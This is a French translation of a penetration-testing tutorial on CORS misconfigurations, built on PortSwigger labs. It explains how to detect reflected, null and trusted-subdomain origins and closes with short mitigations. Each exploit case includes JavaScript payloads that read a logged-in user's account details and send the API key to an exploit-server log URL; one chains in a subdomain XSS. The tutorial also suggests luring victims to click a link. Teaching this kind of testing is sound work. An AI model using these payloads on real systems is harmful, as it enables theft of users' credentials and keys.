Article original : Exploiting CORS – How to Pentest Cross-Origin Resource Sharing Vulnerabilities
Tous les navigateurs web implémentent un modèle de sécurité connu sous le nom de Same-Origin Policy (SOP). Il restreint les domaines d'accès et de récupération de données à partir des ressources d'autres domaines.
La politique SOP aide à protéger les utilisateurs des scripts malveillants qui pourraient accéder à leurs données sensibles ou effectuer des actions non autorisées en leur nom.
Par exemple, si **business.com** tente de faire une requête HTTP à **metrics.com**, le navigateur, par défaut, bloquera la requête car elle provient d'un domaine différent.
Bien que la SOP semble être une politique de protection appropriée, elle ne s'adapte pas bien aux technologies actuelles qui dépendent les unes des autres pour fonctionner. Par exemple, elle présente des défis pour les API et les microservices qui ont des cas d'utilisation légitimes pour accéder et partager des informations entre domaines.
En raison de cas comme celui-ci, il était nécessaire d'avoir un nouveau mécanisme de sécurité qui permettrait les interactions cross-domain. Il est connu sous le nom de Cross-Origin Resource Sharing (CORS).
Cet article couvrira les bases du fonctionnement de CORS et identifiera les vulnérabilités courantes qui peuvent survenir lorsque CORS n'est pas correctement implémenté. Nous apprendrons également comment tester et exploiter les mauvaises configurations afin qu'à la fin de ce guide, vous aurez une meilleure compréhension de comment tester et valider CORS lors d'une évaluation de pentest.
J'utiliserai les labs CORS de Port Swigger pour démontrer les étapes de test et d'exploitation.
Table des matières
- Qu'est-ce que la politique Cross-Site Origin (CORS) ?
- Impact des mauvaises configurations CORS
- Comment identifier CORS
- Cas exploitables
- Cas non exploitable
- Mitigations
- Ressources
Qu'est-ce que la politique Cross-Site Origin (CORS) ?
CORS est une fonctionnalité de sécurité créée pour assouplir sélectivement les restrictions SOP et permettre un accès contrôlé aux ressources de différents domaines. Les règles CORS permettent aux domaines de spécifier quels domaines peuvent demander des informations en ajoutant des en-têtes HTTP spécifiques dans la réponse.
Il existe plusieurs en-têtes HTTP liés à CORS, mais nous nous intéressons aux deux liés aux vulnérabilités couramment observées — **Access-Control-Allow-Origin** et **Access-Control-Allow-Credentials**.
Access-Control-Allow-Origin : Cet en-tête spécifie les domaines autorisés à lire le contenu de la réponse. La valeur peut être soit un caractère générique **(*)**, qui indique que tous les domaines sont autorisés, soit une liste de domaines séparés par des virgules.
#Tous les domaines sont autorisés
Access-Control-Allow-Origin: *
#liste de domaines séparés par des virgules
Access-Control-Allow-Origin: example.com, metrics.com
Access-Control-Allow-Credentials : Cet en-tête détermine si le domaine permet le passage des identifiants — tels que les cookies ou les en-têtes d'autorisation dans les requêtes cross-origin.
La valeur de l'en-tête est soit True soit False. Si l'en-tête est défini sur "true", le domaine permet l'envoi des identifiants. S'il est défini sur "false", ou non inclus dans la réponse, alors ce n'est pas autorisé.
#autoriser le passage des identifiants dans les requêtes
Access-Control-Allow-Credentials: true
#Interdire le passage dans les requêtes
Access-Control-Allow-Credentials: false
Impact des mauvaises configurations CORS
Les mauvaises configurations CORS peuvent avoir un impact significatif sur la sécurité des applications web. Voici les principales implications :
- Vol de données : Les attaquants peuvent utiliser les vulnérabilités CORS pour voler des données sensibles des applications comme les clés API, les clés SSH, les informations personnelles identifiables (PII), ou les identifiants des utilisateurs.
- Cross-Site Scripting (XSS) : Les attaquants peuvent utiliser les vulnérabilités CORS pour effectuer des attaques XSS en injectant des scripts malveillants dans les pages web pour voler des jetons de session ou effectuer des actions non autorisées au nom de l'utilisateur.
- Exécution de code à distance dans certains cas (Cas StackStorm)
Comment identifier CORS
Lors du test d'une application pour CORS, nous vérifions si l'une des réponses de l'application contient les en-têtes CORS. Nous pouvons utiliser la fonctionnalité de recherche dans Burp Suite pour rechercher rapidement les en-têtes.
Dans l'exemple ci-dessous, j'ai recherché l'en-tête **Access-Control-Allow-Credentials** et j'ai obtenu trois (3) réponses. Une fois les en-têtes identifiés, nous pouvons sélectionner les requêtes et les envoyer à Repeater pour une analyse plus approfondie.

Figures 1 & 2 montrent la fonctionnalité de recherche dans Burp Suite pour rechercher les en-têtes CORS.
Pour identifier les problèmes CORS, nous pouvons modifier l'en-tête Origin dans les requêtes avec plusieurs valeurs et voir quels en-têtes de réponse nous obtenons de l'application. Il existe quatre (4) façons connues de faire cela, que nous allons passer en revue maintenant.
1. Origines réfléchies
Définissez l'en-tête Origin dans la requête sur un domaine arbitraire, tel que [**https://attackersdomain.com**](https://attackersdomain.com./), et vérifiez l'en-tête **Access-Control-Allow-Origin** dans la réponse. S'il reflète le domaine exact que vous avez fourni dans la requête, cela signifie que le domaine ne filtre aucune origine.
Le risque de cette mauvaise configuration est élevé si le domaine permet le passage des identifiants dans les requêtes. Nous pouvons valider cela en vérifiant si l'en-tête **Access-Control-Allow-Credentials** est également inclus dans la réponse et est défini sur **true**.
Cependant, le risque est faible si le passage des identifiants n'est pas autorisé, car le navigateur ne traitera pas les réponses des requêtes authentifiées.
🔍 Pour exploiter les origines réfléchies, consultez la section exploitation — Cas #1.
Figure 3 — montre la valeur de l'en-tête Origin incluse dans l'en-tête Access-Control-Allow-Origin.
2. Origines modifiées
Définissez l'en-tête Origin sur une valeur qui correspond au domaine ciblé, mais ajoutez un préfixe ou un suffixe au domaine pour vérifier s'il y a une validation sur les débuts ou les fins du domaine.
Si aucune vérification n'est en place, nous pouvons créer un domaine correspondant similaire qui contourne la politique CORS sur le domaine ciblé. Par exemple, ajouter un préfixe ou un suffixe au domaine **metrics.com** serait quelque chose comme **attackmetrics.com** ou **metrics.com.attack.com**.
Le risque de cette mauvaise configuration est considéré comme élevé si le domaine permet le passage des identifiants avec l'en-tête **Access-Control-Allow-Credentials** défini sur true. L'attaquant peut créer un domaine correspondant similaire et récupérer des informations sensibles du domaine ciblé.
Mais le risque serait faible si les requêtes authentifiées n'étaient pas autorisées.
🔍 Pour exploiter les origines modifiées, consultez la section exploitation — Cas #1.
3. Sous-domaines de confiance avec protocole non sécurisé.
Définissez l'en-tête Origin sur un sous-domaine existant et voyez s'il l'accepte. Si c'est le cas, cela signifie que le domaine fait confiance à tous ses sous-domaines. Ce n'est pas une bonne idée car si l'un des sous-domaines a une vulnérabilité Cross-Site Scripting (XSS), cela permettra à l'attaquant d'injecter une charge utile JS malveillante et d'effectuer des actions non autorisées.
Cette mauvaise configuration est considérée comme un risque élevé si le domaine accepte les sous-domaines avec un protocole non sécurisé, tel que HTTP, et que l'en-tête des identifiants est défini sur true. Sinon, elle ne sera pas exploitable et ne sera qu'une mauvaise implémentation de CORS.
🔍 Pour exploiter les sous-domaines de confiance, consultez la section exploitation — Cas #3.
Figure 4 — montre que l'application accepte des sous-domaines non sécurisés arbitraires.
4. Origine nulle
Définissez l'en-tête Origin sur la valeur nulle — **Origin: null**, et voyez si l'application définit l'en-tête **Access-Control-Allow-Origin** sur null. Si c'est le cas, cela signifie que les origines nulles sont sur liste blanche.
Le niveau de risque est considéré comme élevé si le domaine permet les requêtes authentifiées avec l'en-tête **Access-Control-Allow-Credentials** défini sur **true**.
Mais si ce n'est pas le cas, alors le problème est considéré comme faible et non exploitable.
🔍 Pour exploiter les origines nulles, consultez la section exploitation — Cas #2.
Figure 5 — montre que l'application a accepté la valeur nulle et l'a retournée dans la réponse.
Cas exploitables de CORS
Dans cette section, nous allons passer en revue comment exploiter les mauvaises configurations CORS en les catégorisant en cas de test pour une compréhension facile.
Cas 1 : Origine réfléchie
L'application est considérée comme vulnérable lorsqu'elle définit Access-Control-Allow-Origin sur le domaine fourni par l'attaquant et permet le passage des identifiants avec Access-Control-Allow-Credentials défini sur true.
Access-Control-Allow-Origin: http://attacker-domain.com
Access-Control-Allow-Credentials: true
Figure 6 — montre les en-têtes CORS pour l'origine réfléchie.
L'exploitation nécessite que l'attaquant héberge le script JS sur un serveur externe pour qu'il soit accessible à l'utilisateur. Ensuite, ils doivent créer une page HTML, intégrer le script JS ci-dessous et l'envoyer à l'utilisateur.
<html>
<body>
<script>
#Initialiser l'objet XMLHttpRequest et la variable d'URL de l'application
var req = new XMLHttpRequest();
var url = ("APPLICATION URL");
#L'objet XMLHttpRequest charge, exécute la fonction reqListener()
req.onload = retrieveKeys;
#Faire une requête GET à l'emplacement des détails du compte de l'application
req.open('GET', url + "/accountDetails",true);
#Autoriser le passage des identifiants avec les requêtes
req.withCredentials = true;
#Envoyer la requête
req.send(null);
function retrieveKeys() {
location='/log?key='+this.responseText;
};
</script>
<body>
</html>
Une fois que l'utilisateur visite votre page hébergée, elle soumettra automatiquement une requête CORS pour récupérer des informations sur l'utilisateur à partir de l'emplacement spécifié dans le script. Comprendre la structure de l'application et l'endroit où elle stocke ses informations sensibles est essentiel pour cette étape.
Le script ci-dessus commence par initialiser l'objet **XMLHttpRequest** (XHR) pour indiquer au navigateur web que nous allons transférer des données vers et depuis un serveur web en utilisant le protocole HTTP. XHR est une API de navigateur qui permet aux langages de script côté client tels que JavaScript de faire des requêtes HTTP à un serveur et de recevoir leurs réponses dynamiquement sans nécessiter que l'utilisateur rafraîchisse la page.
Ensuite, nous instruisons l'objet d'exécuter une fonction appelée retrieveKeys qui récupère la clé API admin et envoie la réponse lorsque le chargement est terminé.
Ensuite, nous faisons une requête GET en spécifiant l'emplacement à partir duquel nous voulons récupérer des informations et passons nos identifiants avec la fonction Credentials définie sur true.
La requête sera automatiquement bloquée et refusée si le serveur de l'application n'autorise pas le passage des identifiants entre les domaines. Mais nous savons que cela n'arrivera pas ici car **access-Control-Allow-Credentials** est défini sur true.
Pour démontrer comment le script fonctionne, j'utiliserai le serveur d'exploitation disponible avec le lab de PortSwigger pour héberger le script ci-dessus.
Connectez-vous à l'application, cliquez sur "Go to exploit server", et collez le script dans le corps. Ensuite, cliquez sur "Deliver exploit to victim". Dans un scénario réel, vous devez envoyer le lien à l'utilisateur et essayer de l'inciter à cliquer dessus.

Figures 7 & 8 — montrent le processus d'hébergement de la charge utile JS et de sa livraison à l'utilisateur.
Après avoir livré l'exploit, cliquez sur "Access log" et vous devriez pouvoir voir la clé API de l'admin capturée dans les logs. Copiez la chaîne qui contient la clé et collez-la dans le Décodeur de Burp Suite et décodez-la en tant qu'URL pour récupérer la valeur en clair.

Figures 9 & 10 — montrent la clé API de l'admin dans les logs et la valeur de la clé en texte clair sur le Décodeur.
Cas 2 : Origine nulle
L'application est considérée comme vulnérable lorsqu'elle définit Access-Control-Allow-Origin sur la valeur nulle et permet le passage des identifiants avec Access-Control-Allow-Credentials défini sur true.
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Figure 11 — montre que le serveur de l'application accepte les origines nulles.
L'exploitation nécessite que nous hébergions le fichier de script JS pour qu'il soit accessible à l'utilisateur ciblé (même que dans le cas #1). Encore une fois, nous utiliserons le même script — juste cette fois, nous ajouterons un iframe sandbox pour récupérer la clé API. La propriété sandbox définit l'origine du cadre sur null afin que nous puissions définir l'en-tête Origin sur la valeur nulle.
<html>
<body>
<iframe style="display: none;" sandbox="allow-scripts" srcdoc="
<script>
var req = new XMLHttpRequest();
var url = 'APPLICATION URL'
req.onload = retrieveKeys;
req.open('GET', url + '/accountDetails', true);
req.withCredentials = true;
req.send(null);
function retrieveKeys() {
fetch('https://Exolit_Server_Hostname/log?key=' + req.responseText)
}
</script>"></iframe>
</body>
</html>
Lorsque l'utilisateur authentifié clique sur notre lien [**http://192.168.1.14:5555/cors_null_poc.html**](http://192.168.1.14:5555/cors_null_poc.html.), nous obtiendrons la clé API à partir des détails du compte. Mais comme notre utilisateur n'est pas un admin, nous ne pourrons pas récupérer la clé API de l'admin.
Le but de montrer les étapes ci-dessous est que lors d'une évaluation de test d'application web, en tant que testeur, vous recevrez des comptes admin et utilisateur régulier pour tester avec eux. Dans ces cas, vous suivez les étapes ci-dessous pour montrer votre preuve de concept en hébergeant le fichier localement. Ou, bien sûr, vous pouvez héberger le fichier en externe comme option alternative.

_Figures 12 & 13 — montrent que la valeur nulle est ajoutée à l'en-tête de la requête et que l'utilisateur a accédé à la page cors_nullpoc.
Figure 14 — montre les détails du compte de l'utilisateur lors du clic sur le lien.
Cas 3 : Sous-domaines de confiance
L'application est considérée comme vulnérable lorsqu'elle définit Access-Control-Allow-Origin sur l'un de ses sous-domaines et permet les identifiants avec Access-Control-Allow-Credentials défini sur true.
L'exploitation de ce cas dépend du fait que le sous-domaine existant est vulnérable à une vulnérabilité XSS pour permettre à l'attaquant d'abuser de la mauvaise configuration.
Access-Control-Allow-Origin: subdomainattacker.example.com
Access-Control-Allow-Credentials: true
Figure 15 — montre que le domaine accepte les origines de ses sous-domaines.
Si vous rencontrez ce scénario, vous devez vérifier tous les sous-domaines existants et essayer d'en trouver un avec une vulnérabilité XSS pour l'exploiter.
Dans le lab #3 de Port Swigger, l'application fait confiance à son sous-domaine — stock — qui est vulnérable à une vulnérabilité XSS dans le paramètre **ProductId=**.

Figures 16 & 17 — montrent le sous-domaine stocks vulnérable à XSS dans le paramètre ProductId.
Nous utiliserons le même script pour exploiter ce cas, sauf que nous ajouterons l'emplacement où nous injectons la charge utile en utilisant la fonction **document.location**. Ensuite, nous formatons la charge utile pour qu'elle soit une charge utile en une ligne afin que nous puissions la passer dans le paramètre.
<script>
document.location="http://subdomain.domain.com/?productId=<script>
<script>
var req = new XMLHttpRequest();
req.onload = retrieveKeys;
req.open('GET', "APPLICATION URL/accountDetails",true);
req.withCredentials = true;
req.send(null);
function retrieveKeys() {
location='https://Exolit_Server_Hostname/log?key='+this.responseText;
};
</script>
</script>
Après cela, nous enregistrons le script sous **cors_poc.html**, l'hébergeons sur notre serveur et envoyons le lien à l'utilisateur.
<html>
<body>
<script>
document.location="http://Insecure-subdomain/?productId=<script>var req = new XMLHttpRequest(); req.onload = retrieveKeys; req.open('get','APPLICATION URL/accountDetails',true); req.withCredentials = true;req.send();function retrieveKeys() {location='https://exploit-0a110003034945dec57758a8018500a8.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
</body>
</html>
Comme vous pouvez le voir ci-dessous dans les captures d'écran, lorsque l'utilisateur a accédé au lien, le script a injecté la charge utile dans le paramètre **productId** et a récupéré la clé API.


Figures 18, 19 & 20 — montrent l'injection de la charge utile XSS et la capture de la clé API en action.
Cas non exploitable : Wild Card (*)
L'application n'est PAS vulnérable lorsque Access-Control-Allow-Origin est défini sur le caractère générique *****, même si l'en-tête Access-Control-Allow-Credentials est défini sur true.
Cela est dû à une vérification de sécurité en place qui désactive l'en-tête Allow-Credentials lorsque l'origine est définie sur un caractère générique.
Mitigations
- Implémenter des en-têtes CORS appropriés : Le serveur peut ajouter des en-têtes CORS appropriés pour permettre les requêtes cross-origin uniquement à partir de sites de confiance.
- Restreindre l'accès aux données sensibles : Il est important de restreindre l'accès aux données sensibles uniquement aux domaines de confiance. Cela peut être fait en implémentant des mesures de contrôle d'accès telles que l'authentification et l'autorisation.
Conclusion
Dans ce tutoriel, nous avons couvert les bases de CORS en tant que fonctionnalité de sécurité qui empêche les pages web de faire des requêtes non autorisées à différents domaines.
Nous avons également couvert les techniques de test CORS standard pour détecter et exploiter les mauvaises configurations CORS avec des outils comme Burp Suites et Chrome DevTools.
En implémentant et en testant correctement CORS, les développeurs web peuvent s'assurer que leurs applications web sont sécurisées et éviter les mauvaises configurations qui permettent aux attaquants d'accéder à des ressources non autorisées et de compromettre la sécurité de l'application.